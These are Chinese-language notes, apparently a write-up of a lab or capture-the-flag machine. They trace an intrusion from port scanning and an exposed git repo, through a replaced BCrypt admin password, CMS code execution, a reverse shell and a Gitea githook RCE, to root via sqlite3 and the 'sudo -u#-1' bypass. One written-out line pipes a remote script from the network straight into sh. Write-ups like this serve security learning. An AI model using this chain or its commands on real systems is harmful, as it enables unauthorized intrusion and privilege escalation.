- 先把主機加入/etc/hosts
- 用nmap掃有開啟甚麼port 有22跟80
- 再用dirsearch看看有沒有甚麼可用資訊 看起來是有git可以用 還有一個backend/auth的網頁
- 用gihacker把源碼下載下來
- 看看裡面有什麼可以用的 首先發現adminer.php 連進去後可以進到一個db的登入頁面
- 於是來去翻看看有沒有關於db的資料,在config裡的database.php找到一個用戶的登入密碼
- 拿到剛剛的登入頁面進行登入,成功登入資料庫
- 在select backend_user的地方發現一個叫Frank的user
- 用hash-identifier查看是甚麼類型的加密問不到
- 用chatgpt問後發現是BCrypt加密
- 此時就可以去透過BCrypt去生成自己的密碼並去把它替換掉
- 拿去一開始發現的backend/auth網站登入看看 可以成功登入
- 進去後有CMS系統,CMS(Content Management System)意思是內容管理系統,掌管網站後台的編輯、新增、儲存和組織功能,因此可以去嘗試在裏頭寫入一些惡意code
- 先去查看他的phpinfo裡的disable_function有禁用哪些
- 發現沒有禁用system(),嘗試後發現可以使用 能看到id身分 (為什麼1可以,其他數字不行)
- 去嘗試寫個reverse shell進去 &記得要改成%26不然會被當參數傳過去 bin/bash -c 意思是告訴bash shell執行-c 後面的命令列,允許在不啟動交互式Shell會話的情況下執行單個命令
- 成功監聽到
- 有一個網址沒掃到 用nmap -A 去掃(全面系統檢測、啟用腳本檢測、掃描等) 發現他有開8585 port
- 這個也不錯 這樣可以掃1到9999port
- 進去後發現gitea 所以可以去找看看有沒有關於gitea的設定
- 用Linpeas找看看有什麼可以使用的地方
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
- 有找到一個像是gitea設定黨的東西
- 可是沒有權限 所以要去找看看有沒有別的可以用
- 還有一個bak檔 這有點像是可以用來復原網站的文件
- 有發現一組db的帳號密碼 把它拿去並登入 就有發現frank gitea的帳號密碼 拿去修改並登入gitea
- 成功登入gitea
- 查看這個的版本號是1.12.5 去查看看有沒有相關漏洞 找到一個RCE的漏洞
- 在githook加上reverse shell
- 開啟一個監聽
- 然後在readme加個空格然後update
- 就成功以frank的身分進入了
- sudo -l 發現可以透過sqlite3提權
- 在GTFOBins找sqlite3提權方法
- 貼上後沒有說沒有tty 所以幫他加一個
python3 -c 'import pty;pty.spawn("/bin/bash")'
- 加上再試試後發現要密碼
- 去查一下後發現是sudo 的問題 會被擋掉 所以改成sudo -u#-1來繞過他 就可以成功提權了